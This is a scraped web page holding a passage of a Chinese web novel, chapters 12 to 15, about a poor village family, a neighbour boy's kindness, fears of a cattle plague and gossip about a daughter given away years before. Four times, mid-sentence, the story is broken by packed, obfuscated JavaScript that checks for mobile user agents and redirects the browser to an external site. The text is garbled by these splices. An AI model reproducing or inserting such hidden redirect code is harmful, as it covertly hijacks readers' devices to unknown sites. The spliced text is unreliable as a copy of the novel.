0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924340|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才寻出了两双草鞋来。 两双草鞋一新一旧，乔冉安并未多想，径直套了那双旧草鞋便出了门。 这天一如往常。 忙碌的手脚下，响起锅盆铲罐碰撞的声音。 傅娘子扯高了嗓门，朝乔小佩招呼道：“要死了啦，家私磕裂了还怎么用？乔小佩你做活便做活，倒像我才使唤两句你就不乐意了一般，尽拿着家里的东西发火……” “娘，我没有，就是不小心手滑了。”乔小佩无奈辩解，然而动作终究轻柔了许多。 寻着茅厕后头的小土坡找了一早上白芨的乔小遇这会儿回家，听得妹妹口中依旧嘀嘀咕咕的，不禁微笑着扬了扬脸。 “挖了多少？”傅娘子一边用火钩将焐在灶灰里的土豆翻出来，一边回头问乔小遇道。 “不多，就挖了这一小篓子。”乔小遇轻叹了口气，将装了白芨的篓子朝她娘的方向轻歪了歪，道：“怕是烘不得多少。” “没事儿，多少是些心意，我还担心着菜粉不敢给你长田叔用呢。” 傅娘子起身朝乔小遇走来，一边拍了拍手上的柴灰，笑道：“你妹妹的情况既好得许多，咱家便也暂时用不上这东西了，改日得闲再去找了些备用也是一样的。村里这东西也不是随处可见，去镇上买又贵得要命，娘回头带了小佩去，你菜粉婶子便敢用了。” “说来还是你记性好，娘带你去镇上时就只顾着送自己的针线过去。”傅娘子含笑的眼睛稍眯了眯，手指轻扒了扒篓子里的白芨，才又问道：“对了，这东西叫什么来着？” “叫白芨。照长田叔的情形，还是研末了兑水喝比较好。”乔小遇浅笑了笑，接着道：“娘，我回头弄好了便扯半张草纸包着，你交给婶子时就说咱家是在墙边发现的，可别提什么厕所……” “呵，你这促狭鬼！”傅娘子但看着女儿那双琥珀色的眼中尽是柔意，不由得直起身来，抬手轻戳了戳乔小遇的额头。 “娘总算看得开了些，锦上添花虽比雪中送炭来得容易，一包白芨粉也不见得就与那炭火一般重要了，而依家里的情形，能帮上长田叔家的地方着实不多，但终归是心意。” 乔小遇在心底这般念着，想起平日里每当自己往长田叔家门前走过时菜粉婶子总热情招呼她进去喝口水的情形，心情便跟着明媚了几分。 这里的人情冷暖，她都是能够真切感知的。 …… 吃过早饭后，乔小遇便随傅娘子去地里挖土豆了。只天依旧阴沉着，傅娘子不得不暂将乔小佩送到乔阿婆那里。 乔小佩想耍赖毛，来回扭绞着自己沾了脏泥的手指头，低声道：“姐姐，我可不可以跟你们一起去地里？你放心，我一定不拖后腿的。” 在旁看过这情形的乔小遇直忍不住扶额说道：“事实是你真的会拖后腿。倘若咱们刚到地里便洒起了雨，你倒让我连猪草都背不成，便只能顾着你了。” 12. 宝树借水 乔小佩听了这话不免悻然，而傅娘子且听得她不愿去乔阿婆那处，吓说道：“你且等我寻一截赶猪棍来，可不将你的兔子皮脱下一层！” 乔小佩惊得止了声，并朝她姐背后躲去。 “娘又不是真要脱你皮，你躲什么躲？”乔小遇轻笑着，稍稍侧身重新将妹妹拉回到自己跟前，并道：“你可是担心被欺负？这不妨事，你与阿婆告状或是等我回家后让我帮你出头都可以的……” “我才不会回来找你替我出头呢！”乔小佩仰头气哼了声，眨巴了眼睛说道：“若你真将哥哥们打了，阿婆岂不难过？若连带着阿婆以后再也不愿带我了怎么办？” 傅娘子从灶房里寻得竹竿，出来时且听得小女儿这话，心头情绪不由得复杂起来，许更多的是宽慰吧。她眯眼笑了笑，眼角的细纹扯作了一处。 小女儿刚满六岁，心思却已是这般敏感…… “阿婆那么喜欢你，怎么会不愿意带你呢？” 乔小遇心里酸酸的，话音却愈发地柔和，“便是因为阿婆待你好，哥哥们才会小心眼了对你使坏，所以你也要试着对哥哥们好些。那样的话，哥哥们以后也会像我一样护着你的。” 乔小佩想起自己在阿婆家时，因怕几个捣蛋哥哥来找自己的麻烦，所以对他们一向是能躲便躲的，可人还是找上了门。她心里略有些发怵，可乔小遇却又这般说…… “当真？”乔小佩歪着她的小脑袋问道。 乔小遇认真地点了点头，接着问道：“那你现在愿意去阿婆家里么？” 乔小佩皱巴着小脸，终还是应声下来。左右傅娘子手中的那根竹竿，是用不上了。 …… 连日的暴雨，不知将多少黄泥挟裹进了山脚下的那条拖罗河中，而随着泥团的分散、溶解与混杂，平日里清澄澄的河水竟有了一种声势浩大之感。 乔小遇这会儿做活做得累了，便把锄头放倒在地埂边上，当个歪斜凳子，一屁|股坐了上去。 没有停息的湍流声在她耳畔响动，便似发狂的山风吹过林梢般，乔小遇渐渐听出了几分节奏感来…… 她似乎在怔怔地放空着自己的脑海，可实际上却又想着许多事情。家中所面临的难题多是外在的，解决起来十分被动，且处处受限。乔小遇思来良久，却依然没有办法理出个头绪来，偶有灵感忽地窜入脑中，也很快随了那河水的响动声迅速流走。 “今年玉米的天花难得抽出来，秋来的收成怕不见得怎么好，一家子连最基本的裹腹都难以保证……眼下最紧要的，还是得多存下些粮食。”乔小遇低眉暗自思量。 便在这时，她背后传来了一道清唤声，“小遇，你家可带了水来？” 乔小遇偏过头去，见是长田叔家的大儿子宝树叫她，这才回过神来，应声道：“是掺了酸腌菜的，你要么？” “要，要……”乔宝树站在上面那块坡地的地埂边上，连声说道。 少年笑眼弯弯，露出一对洁白的虎牙，但瞧着乔小遇朝她家放篮子的杉树下走去，便跟着从那高高的地埂上跳了下来。 乔小遇被他落地的闷响声给吓了一跳，回头皱眉道：“你就在上头等着呀，这地埂那么高，你也敢跳。” “我不是怕你递不上去么……”乔宝树嘿笑了声，紧跟上乔小遇的步伐，一边跳起来冲地那头的傅娘子招了招手，“四伯母！” 瞧着傅娘子抬起头来冲他一笑，乔宝树笑得愈发灿烂了。 乔小遇家装了腌菜水的小罐就放在杉树荫下的篮子里。因盼着能在外将活做得久些，人们总会备些饭食水菜到地里来，虽谈不上丰盛，但能挨过那阵饿劲儿就行，腌菜水或是白酒水则是解渴用的。 乔小遇从篮子里小心翼翼地端出小罐来，只抬眼一瞧乔宝树腰际挂着的是用来装清水的水囊，便问道：“你家不曾带水罐来？” 乔宝树这才意识到问题所在，他有些尴尬地挠了挠耳朵，皱眉说道：“带小罐最怕磕着碰着，我家哥几个都嫌麻烦，便没听我娘的话，悄悄换了水囊……哪想到这水囊根本装不了多少水，附近又没什么地方能接点喝，我便只能厚着脸皮转过这小半个山来，问问你家有没有带了。” “要不就用这水囊装吧，你就随意倒些就成。”乔宝树紧说完，便伸手去解那水囊。 “你还是带着水罐去吧。”乔小遇轻拉了拉他袖口，止了他手中动作，笑道：“水囊口太小，不好装，且要是装了腌菜水，回头就任凭你怎么洗，也是有股重味儿的。” “可你娘她们还要喝的啊……”乔宝树神情窘迫地道。 乔小遇含笑的眼神从在地间劳作的娘亲和妹妹身上掠过，才对乔宝树说道：“她们才刚喝过，且我待会儿便要背一趟土豆回家，若她们想喝，我回带也是方便的。” “这怎么好意思。”乔宝树摆了摆手，心想说还是用水囊就好，只他重新迎上乔小遇那双如琥珀般澄净的眼，那些话却仿佛被什么东西硬挤回去了一般。 乔小遇见他不说话，当是劝毕，眸底笑意愈深了几分，随即弯身抬起小罐，朝上埂边走去。 躲在阴云中游移的日头，将薄叠的云层边缘嵌上了圈圈银光，而随着这银光愈来愈亮，日头下方的坡地上所流淌着的黄泥色便不似之前那般深沉了…… 乔宝树瞧着乔小遇那赤着脚，高高低低地踩在黄泥里的背影，心底的一角仿佛也有了这银光照落，渐变得清晰起来。 他不曾多加思考乔小遇自己端了小罐往前走是做什么，而那双脚已听不得他使唤，只照踩着乔小遇在泥地里留下的脚印子朝前走去…… 乔宝树的身子不再摇摇晃晃，只偶尔一个踉跄，他却还呲牙轻呼，惹得乔小遇频频回头叫他小心…… “嗯？小遇的脚丫子怎那么小，我照着踩她脚印却还多出半截……”少年像是发现了什么有趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924341|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情般，带了汗津的脸上笑意直溢，而在那双虎牙的映衬下，这傻乎乎的笑容却又显得生动异常。 乔小遇沿着上埂边走了几步，这才驻足朝身后的乔宝树招呼道：“宝树哥，这处没长什么黑莓果刺，你就踩了地鼠洞往上爬吧，然后我再把小罐递给你。” “啊？”乔宝树愣愣回神，忙声应过，脸上却是刷地一红。 他快步走到乔小遇跟前将这异色遮掩过去，伸手扒开埂子上的墙头草，咂舌轻语道：“小遇，你家这地埂上怎这么多地鼠洞，难道春耕时没有放火烧过草荆？” “我家这处坡地紧挨着山，春耕时风太大，担心引发山火，便没烧过地埂上的草荆……倒不怪地鼠专在上头挖洞做窝了。”乔小遇轻笑了笑，说道。 “那可不行，地埂上草多了会扯地，那庄稼还怎么长？”乔宝树转头对乔小遇拍了拍胸脯子，说道：“反正你家埂子上的墙头草挺多，改天我带我二弟来把它割去做牛草吧，便也能省得你爹再割草荆了。” “但我家这处坡地隔村子太远了，你往这边割草太费力气……”乔小遇话一开口，其中便带了拒绝的意味。 她家这处坡地不通车路，当初为了能将地开得宽些，这地埂也垒得高高的，上下极不方便。便说开春时为了背粪，她爹在地埂上挖的土坑子都已被长起的草荆遮覆住，如今是找都找不到了…… 乔宝树哥几个要是过这边来割草，少不得又要挖几道土坑子用——乔小遇担心如她娘那样一个不愿变通的人完全有可能说出类似于“地埂要是塌了怎么办”的话来，是以即便别人是好心好意，傅娘子也不见得愿意领受。 可乔宝树浑不在意，他眯眼笑着，伸手轻弹了下乔小遇的额头，叉腰说道：“你在想什么呢傻丫头，我家赶牛车的呀，过来割草也就只是背一段路的事儿。” 乔小遇轻拧了拧眉，还是想劝说乔宝树不必麻烦了，但见乔宝树偏转过头对跟前那高高的地埂上下打量了几眼，她却像是突然反应过来了什么一般，心头直想笑话自己，“说你傻你还真傻上了，敢情你以为人会帮你把几道地埂上的草荆都给割了？” “人也不必上下攀爬，只将上头这块地的上埂割干净些便算帮了你家大忙……”乔小遇这般暗暗补充道，无奈摇头。 “小遇，你家这几块地是可以接到陶家坟山旁边的那条宽路上的，只地头那边，似乎接的是你大伯家的地？”乔宝树凝眉随口一问。 “是呀。”乔小遇轻应了声，倒不由得想起大伯一家曾经往两家地界处扎木桩的事来。 当时大伯母直说她家这事做得合情合理，扎木桩只是为了拦住乔小遇家拉了牛车借道，免得碾硬了他家的地，可乔冉安便是再好糊弄，也知道这是他大哥一家存心找茬。 事情最后还是里正出面给说了和，只到底乔小遇家也只能在春耕秋耕时借道了，平日里便是连牛也不能直接拉着走过的。 13. 仅想保全 “我大伯家在这边并没有多少地皮，可一连四块的地头都是他家的，耕种起来相当不便。我娘不是没提出过换地，可我大伯家就是想那么耗着，我家能怎么办？”乔小遇苦笑着道。 乔宝树对这些事有所耳闻，只到底这是别人家的家务事，他也只得安慰道：“兴许以后就能说通了……” “或许吧。”乔小遇垂目道。 她不想在这个话题上停留太久，随即轻抬了抬手里的罐子，示意乔宝树先爬上埂子去…… 不得不说，乔小遇家地埂子上的地鼠洞可不是一般的多，乔宝树手里揪着些杂草，脚上直接踩了那些地鼠洞就爬上去了，全然不费力气。 因担心乔宝树将腌菜水给洒了，乔小遇执意站在地埂脚下递给他。这会儿接过，只见下头的人紧踮起脚尖，上头的人则几乎趴在了泥上。 “可成了！宝树哥，你路上慢些走啊。”乔小遇仰头对乔宝树轻声叮嘱道。 “好嘞！”乔宝树咧嘴轻笑了声，小心翼翼地用外襟将小罐裹在了肘弯里抱着，待他再抬眼想与乔小遇说声告别时，却见乔小遇已拖了锄头准备去挖地了。 “谢啦，小遇！” 少年远远喊了一声，本欲高蹦起来，好在他还能想及自己抱着的那个罐子，便只腾出只手来朝乔小遇的方向轻挥了挥。 …… 这日的天气并不算晴，沉闷的风似失了力量般，再不能将头顶上层层叠叠的阴云刮散开来，可归家的人们却为此面带笑容——到底，没有下雨对他们而言已算是天公作美。 天色将暮时，乔冉安终于回到了家。 没有意外的是，他依旧得了傅娘子的一番斥责。 一双旧草鞋，现下套在乔冉安脚上的便只有破得烂遭遭的一只。令傅娘子忍不住心酸垂泪的是，乔冉安的脚底板不知被戳进了多少根木刺…… 傅娘子未来得及先吃晚饭，也未先去看乔冉安背回来的菜油，只紧忙就了天光，拖过一截长凳坐在家门口，帮乔冉安将那些深陷在脚肉里的刺给仔细挑出。 家中火边的饭桌上便只有乔小遇姐妹两个。 但听着傅娘子口中之语不是骂乔冉安“猪脑壳”，便是嘘声问人“可疼不”的话，乔小遇无奈轻笑。 “你看这么一大长根刺，要不是我帮你挑出来，你便等着脚上烂肉吧！” 听着傅娘子惊讶出声，乔小佩有些坐不住了，直想去瞧瞧那刺究竟有多长…… “好好吃饭，不准去。”乔小遇瞥了眼妹妹抓紧了饭碗一副忙着离凳的促急模样，不紧不忙地朝她碗里夹了几块嫩菜心，吩咐道：“吃完就去将鸡枞洗了。” 听见姐姐竟着意给自己安排了家务活，乔小佩立马乖觉了许多，紧将岔出去的一条腿给收回来，接着埋头扒饭。 那厢乔冉安面对傅娘子的指责，虽翻来覆去还是那几句教人听倦了的应对之词，却终究使得傅娘子的情绪缓和下来。 “若是家中衣食无忧，娘平日里的神情或许会比此时更为柔和。”瞧着昏黄的暮光将妇人的侧颊边缘映染上了一抹温暖色调，乔小遇心下如此作想。 …… 一阵忙活后，乔小遇才想起将她爹篮子里的东西拾出来。 除了炸鸡枞要用的菜油和陶罐，她爹还特地给傅娘子带回来了一个做针线用的顶针。 “我瞧着你用的那个已经很多年了，所以就想给你买一个新的。”乔冉安讪讪开口，心里有些紧张，生怕傅娘子为此骂他一顿。 “你怎么舍得这样破费？”傅娘子原还佯怒着，可瞧着乔冉安瑟缩着脖子却又忍不住抬头看她神色的模样，她终是没憋住“噗嗤”一笑，伸手接过了那顶针。 这晚的气氛总算得好些了。 据乔冉安说，镇上饭馆的掌柜原本并不想买那么多的鸡枞，只念及可以送些给他在朝州城的亲戚，在问过乔冉安家中还余得多少后，便打算将剩下的那些也都买了，让乔冉安明早带着去。 乔小遇闻言十分高兴，只一想到卖鸡枞所得的这半袋子铜钱完全算得“天上掉下的馅饼”，她心底的那股得意劲儿便很快消失了。 村里的鸡枞窝并没有几个，菌子虽会多出些，可一来菌子是否冒土极受天气影响，二来在乔家村这地界上，菌窝也多长在外姓人家的山林里，是以并不好捡。 村里原是有那么两三户人家常去山上捡菌子卖的，可替陆家人看山的乔大闯却总是寻机给这几家人找不痛快，如某次乔荣上山看巡时正巧碰到了当中一户村民，乔大闯夫妻俩竟真真在人门前骂了整一天…… 尽管没有什么切实的证据，可里正话语间却是向着乔大闯一家的。村里人看足了热闹，但从那之后，人们就是上山捡得些菌子，也只会带回家自己煮了吃，很少会有拿到镇上卖的。 “只要乔大闯一家能在这村里狐假虎威一天，那些个山溪果木，旁人便是碰都碰不得。若想得吃些野物，便只能走上数十里的山路，去野山林里寻……不过那地方村里人多是不敢去的吧。” 乔小遇不禁轻叹了一口气。 她的记忆中曾发生过这样一件事。 前年时，一只从野山林里窜出的花豹子不知怎地就来到了乔家村后山，起先那畜生还只是晚上出来咬些家鸡、家鸭，惊得狗声吠吠，后来青天白日里，那花豹子竟直接冲进了村民家的院子里，将正在吃食的猪仔咬死…… 人心惶惶间，村里的几个猎户完全不敢上前担事，最后还是官家的人到了村里，设计引了那花豹子出来将其成功射杀，除了祸患。 村里人为此事心有余悸，加上得了官府的警告，便连猎户们也很少再涉足那片野山林，只将手里的弓箭换成了锄头，一心一意地当起了农夫。 “总不能这样干熬着什么也不做，便等事情来临却只能束手无策。”乔小遇心里寻思着去野山林边缘走一趟，但她知道这想法是万不能与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924342|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她爹娘说的…… 这家人远比村里的其他村户要活得战战兢兢。 便说那花豹子窜到乔家村时，并不住在大村子里的乔冉安家完全可以说是孤立无援。 他们一家人不敢将牲畜留在院墙边那处简陋的木棚里，好好的偏屋便用了关猪关鸡；每天不敢出门，夜里要检查几遍木栓门栅才敢歇息；若是夜里乔小佩闹腾哭喊，乔冉安朝门缝里瞧见河对岸有什么幽亮之色，便会被吓得个半死，直怀疑那亮光便是花豹子的眼，夫妻俩则恨不得堵住小女儿的哭声…… 那件事虽已成为过往，可对乔冉安一家而言，他们在这个过程当中所经历的种种却一定是他们所不愿回忆的…… 不愿回忆，也不愿再次承受，尤其当下家中衣食之物虽有些捉襟见肘，可终究不曾到山穷水尽的地步，傅娘子与乔冉安便不会把心思转到进野山林这等险事上来。 不是不愿冒险，而是太想保全。 …… 乔冉安这回终于换了他的黑布鞋出门！ 一早便跟着起来帮忙剁猪草的乔小遇，但瞧着她爹穿鞋时满脸的犹豫之色，不由得在旁摇头轻笑。 待乔冉安背上篮子，乔小遇才试着说道：“爹，您这回去镇上卖鸡枞油时可记得打听一下牛疫的事，如今已传到了哪里，情形又有多严重……” 乔冉安闻言不由得稍愣了下，接着伸手轻拍了拍女儿的肩，笑着安慰道：“这些事你不必担心……” “怎么可能不担心？”乔小遇心下暗道，只抬眼瞥见她爹眸子里闪烁着的那抹凝重之色，口中便是再想说什么也不由得噤了声。 确实，发生这样大的事没有人会无动于衷，可对乔冉安这样的平头百姓而言，他们便是再担心又能抵什么用呢？ 乔冉安口中所谓的叫女儿不要担心的话，并非是说他与傅娘子就有了什么好法子或是好倚仗，又或是说他们相信官府的人会将牛疫控制住，从而不会波及整个朝州府。 他们只是觉得担心无用，若是家中牲畜当真染上疫病，那也是注定了的事。“注定”便意味着被动，傅娘子所能想到的也只是将多余的银钱换成粮食…… 可仅仅这种程度怎么能够？ 等秋天将粮食收上来后，村里便要忙着秋耕，若耕牛染了病，村里的地难道不犁了？而倘若牛疫传得太快，村里地多些的人家或许连粮食都没法收上来。 “若牛疫来势汹汹，家里的猪仔怕是不能留了。将它们宰了做腌肉，也总比得疫病后被官府的人强令了拖到山里掩埋要好，只担心爹娘狠不下那个心，存了侥幸的想法一拖再拖……” 乔小遇站在夏日的薄雾中，目送父亲离开，只她苍白的面色便如晚秋时节里那凝在干草堆上的冰霜一般，少了几分鲜活气息，便连长呼出的一口气，也带了满满的沉重感。 乔小遇已不自觉地想要开始揽过家里的一些事来做，不是想要冒险，亦只是想要保全。 14. 长舌闲话 天蒙蒙亮时，乔小遇便将猪食煮熟了。 她用火钳拈出几个土豆，放在灶边烘着以等妹妹她们起来有得东西吃，自己则稍微把火撤小了些，拿了铲子碾起猪食锅里的土豆来。只她身量太小，她只好踩了一截板凳让自己站得高些，才好使劲。 晨光微亮，村里的鸡喔喔打鸣。 人们也开始忙里忙外，该煮猪食的煮猪食，该喂牛的喂牛，等家中的事忙活得差不多了，一家人便套上牛车，带上钉耙粪箕准备去地里干活。 乔宝树担心乔小遇家会早早出门，是以刚爬起来洗了把脸后便往乔小遇家的方向跑来，喂牛的事则支使了他弟宝槭去做…… “咦，小遇，你家怎么起得这么早，竟然都在碾猪食了。”乔宝树跑得有些急，口中直还呵着热气，惊讶道。 “我娘她们也才刚起呢，不算早的。”乔小遇回头看了眼乔宝树还在院门外头，忙招呼他道：“院门没闩，你直接推就成。” 乔宝树忙笑眯眯地点了点头，只他进门才瞧见乔小遇碾猪食竟是爬到了凳子上站着的，嘴巴不禁一阵紧抿。 他连忙跑过去将小罐轻轻地放在石坎上，便要接过乔小遇手里搅猪食的铲子，“我来帮你吧，你踩着的这凳子根本不稳，要是摔下来了怎么办？” “没事，我已经快碾好了。”乔小遇轻笑着道。 乔宝树脸色变黑了下来，但瞧着踩了凳子才与自己差不多高的乔小遇，身子紧随了咯吱咯吱响的板凳而不断歪斜，直接闷声斥道：“下来。” “啊？”惊疑回头的乔小遇不知自己是怎么惹到他了，一时间顿住了手中动作。 “怎么那么愣？”乔宝树没好气地瞪了乔小遇一眼，旋径直将人从凳子上拉下来，自己则拿过手里的铲子去碾猪食。 觉着气氛不妙的乔小遇便只余得呆立在旁的份儿…… “宝树哥，其实这凳子很稳当，只因着我碾猪食的动作而晃了起来。”乔小遇试图解释。 “闭嘴。”乔宝树又回头斜瞅了她一眼。 乔小遇微张了张嘴巴，默默瞧着乔宝树碾了片刻的土豆后，才犹豫着道：“宝树哥，其实这锅里的土豆我已差不多碾完了的，就准备掺些苜蓿糠就成……” 乔宝树手里的动作终僵滞了滞，他似乎这才留意到猪食锅里土豆块的大小，一时不禁红了脸。 “你家猪食里的土豆块这么大，实在太粗糙了些，就不担心猪仔吃了卡脖子？” “猪仔吃了卡脖子？”乔小遇拧了拧眉，想起自家圈里的那几只猪仔囫囵着吞萝卜的情形，只当菜粉婶子做活精细，便是猪食也要搅得似细糊一般。 她不再多问，也懒得再劝乔宝树了。 乔宝树又继续翻动了几下铲子，接着才轻咳了声，回头对呆在原地的乔小遇问道：“不是要掺苜蓿糠么？” “噢……我这就去舀。”乔小遇话音落下，便连忙拿了木瓢去偏房舀糠，而在灶台上用劲碾着土豆块的乔宝树这会儿却缓了缓手中动作，嘴角泛起一抹尴尬的笑容。 因乔宝树执意要帮她把猪食搅好，乔小遇只得把木瓢放到了他手中，自己则将小罐端回家里。 傅娘子这才刚起，脚上随意趿拉着鞋子，她往木窗处探了眼，笑问道：“又是你菜粉婶子家的宝树？” “嗯。”乔小遇没留意她娘面上的揶揄笑容，只轻应了声便又去了偏房，准备拿了两只猪食桶去盛凉猪食，好让猪仔一会儿吃起来也不烫嘴，一家人也能早些出门去地里干活。 傅娘子一边拿过梳子准备给小女儿梳头，一边朝乔宝树招了招手，“诶，宝树来了呀。” “是呢，四伯母。”乔宝树笑转回头，但瞧着乔小佩打了个呵欠后朝自己迷迷糊糊地挤出个笑容，只觉得心窝处早已化作一团。 “怎么不让小佩多睡一会呢？我瞧她现在都还睁不开眼。” 他无意一问，傅娘子应答时却轻皱了皱眉，才笑道：“待会儿便要去地里了，我得抽时间将她送到乔阿婆那里。” “原来是这样。”乔宝树干笑了笑，旋作有事状折过了身，掩过他眸底的那抹不自然的神色。只再次抬眼，迎上的便是乔小遇那双似蕴了晨光般的澄澈眸子。 乔宝树轻“啧”了声，话音低缓地道：“我听我娘说，阿婆的几个儿子家似乎不想让你妹妹再过去了，这也太为难人……我娘也是听串门的婶子说的，这东家长西家短的，有时也不是你不想入耳便真的不曾听见。” 他的后半段话属于单纯的解释，或者整句话都是。 乔小遇几不可闻地轻叹了口气，心下暗嘲：“村里的人虽然过得闭塞，但凭着几张嘴，每天也能搜罗出一筐的新鲜事。再围着火炉，将那肥泥子噼里啪啦地烧上几块，事情便也就散出去了。” “我知道的。你放心吧，我家已经备了些铜钱给阿婆，就当给她老人家贴补家用……想来不会有人再多说了。”乔小遇朝乔宝树无奈地耸了耸肩，口中如此说道。 其实就算乔宝树不提这茬事，乔小遇也明白，若她家依旧不管不顾地将小妹送给乔阿婆带，又或者不送小妹过去了，却对阿婆两三年来的照顾没有任何表示，村里人定会在背后说她家闲话的。 且这闲话要多难听有多难听，兴许再过几年依旧会出现在哪家院子里的松毛堆上，哪些做针线活的妇人口中。 “这倒是个好法子。”乔宝树闻言扬眉轻笑，而面上原存的尴尬神色亦消逝一空。 他紧接着告别离开，步伐似乎轻快了不少。 乔小遇瞥了眼乔宝树的背影，轻笑着摇了摇头，“也只有宝树哥听了家里给阿婆送些贴补的事不会多问，若是换了旁人……” 若是换了旁人，定是要打破砂锅问到底的。毕竟村里人都知道，她家中一贫如洗，连初春排土豆时的土豆种都凑不齐…… 渺渺无痕的云雾将村后山遮了半腰，远瞧着便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924343|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似一个大腹便便的屠夫围系着一条玉腰带般，却又莫名的和谐。 习惯了在风雨交加的日子里劳作的村民，但瞧着天将放晴，身子骨都不由得松泛许多。若非门前的稀浆泥潭深得能让车轱辘陷进去，他们几乎要怀疑先前的阴雨天气是发生在半月之前的。 傅娘子今早将儿子送到乔阿婆的这一趟，着实耽搁了好一会儿，一进门她便与乔小遇道：“这回且看着那几个多嘴的妇人还有什么可说，要是再戳了咱家的后脊梁骂，我可不客气了！” 乔小遇知道她娘一向雷声大雨点小，当即不过轻笑了笑，便继续垂头磕起研臼里的白芨根来。 “乔阿婆那样一个性情温和的老人，可给几个儿子娶的什么媳妇，个个都是往她身上薅羊毛的。” 傅娘子想到平日里对自家不管不顾，甚至多番刁难的公公婆婆，不禁郁郁道：“这都是怎么个个投生法？都说不是一家人不进一家门，咱怎么就摊上了你爷爷奶奶和那几个叔伯家？” “阿婆是不是不肯接你钱来着？”乔小遇浅笑抬眼，对她娘道：“阿婆待人一直这样客气有度。不过看情形，您是好说歹说，总是将东西送出去了，这般一来，阿婆那几个儿子家也应当会对老人有所表示，这终归是件好事。” 傅娘子气哼了声，心头的不平气终是下沉了些。 乔冉安家得了些铜钱与糖送给乔阿婆的事很快便在村里传将开来…… 有多事的妇人够在乔阿婆家的院墙上打趣说道：“就傅娘子家那吃了上顿没下顿的情形，竟也能拿出半袋子铜钱来？这太阳可是打西边出来了。” 乔阿婆闻声呵笑了笑，只吩咐在院中玩耍的乔小佩进屋后，接着才应了那人的话道：“那还不是冉安媳妇用当初何姓人家领养小知时，人送给她的一个顶针换来的？我那几个嘴碎媳妇可倒好，背着我个老婆子去将人逼到这份上，我若不接村里人可不知又怎么骂冉安家呢……” “老婆子活了几十年，人不知道的以为我这老脸有多厚了呢，脑子也是个不中用的，凡事凭白让人占便宜。”乔阿婆言辞直讽，只差没指着几个儿媳妇骂了。 多嘴问话的人讪讪一笑，道：“阿婆可不能这么说，这还不是您的那几个儿媳妇心疼您，才想着上门跟傅娘子说道个清楚的嘛，好在傅娘子一家子也不是那个没眼力劲儿的。” “心疼个甚么喲，打着我的名头做恶事，还让村里人以为冉安家苛待我个老婆子。”乔阿婆沉叹了声，随即与那人摆了摆手，折身回屋，却是没心思继续说下去了。 那人亦觉着无趣得很，偏侧过头，啐了一口：“这还不是卖娃的钱，能扮出什么惨法？傅娘子倒是好福气，卖个娃的利钱到今天都有余了揣口袋里的。” 她这话音带了轻鄙的同时，又挟藏了一股羡慕意味。 乔冉安与傅娘子依旧在暗里被人戳着脊背骂，只针对点却在于夫妻俩当年竟黑心肠地把乔小知卖了的事…… 15. 肥田心事 正如乔小遇心下所料，但朝灶火里扔几块肥泥子烧着，又或是几个妇人往村里的松毛堆上一坐，这村里的好事坏事便都有被人往嘴里一嚼的份儿…… 让人觉着有些讽刺的是，那些背里说三道四的妇人凡遇着去地里做活的傅娘子，总会流露出悲悯的眼神，拉着傅娘子在地边说上两句，“二娘，小知的事已经过去了那么多年，你与冉安哥便不要在耿耿于怀了，那孩子是个善心的，兴许以后会回来认亲。” 傅娘子被人触到伤疤，总忍不住面色戚然，苦笑着回人一句：“谁知道呢，何家这些年也不曾捎信来，我这做娘的也不知道孩子过得怎么样，她心里又是否怨我……” “是否”这词有时并不代表一种假设。 傅娘子被人引得掏心窝子，对方劝时且不论心里怎么想，嘴上却定是要一口否定的。 “怎么会？既是骨血之亲，小知但凡还有一点良心，就不能忘了你这生她的亲娘。” ——类似这般，才算得句慰藉人心的话，且是傅娘子所期待听到的。 每当这时，乔小遇总会带了妹妹在远处歇会儿气，一边等着傅娘子。她心中极是无奈，面上却只能装作若无其事的模样。 只有次在路上可耽搁了好一阵儿，心下烦躁的乔小佩远朝着她娘的方向喊人脚上快些，侧头过来却迎上她姐那似笑非笑的眼神，不禁耷低声道：“我这不是等得及么……” “也不知怎么回事，这两天娘在村里的人缘竟突然变好了，到哪儿也有人拉着她说话。”乔小佩瘪了瘪嘴，伸手从地埂上扯过一截蚊子草的草杆放到嘴里衔着说道。 “你竟是这般以为的么？”乔小遇无奈地皱了皱眉，却不打算与妹妹细细解释，因为她知道在何小知的事情上，她与这一家人并没有什么共同的沟通点，又或者是相对和谐的讨论方式。 她默然片刻，才摇头低声嘱咐乔小佩道：“你不要催娘，与娘说话的语气也不许这么躁怒，更不许在娘回来时还巴着问她。” 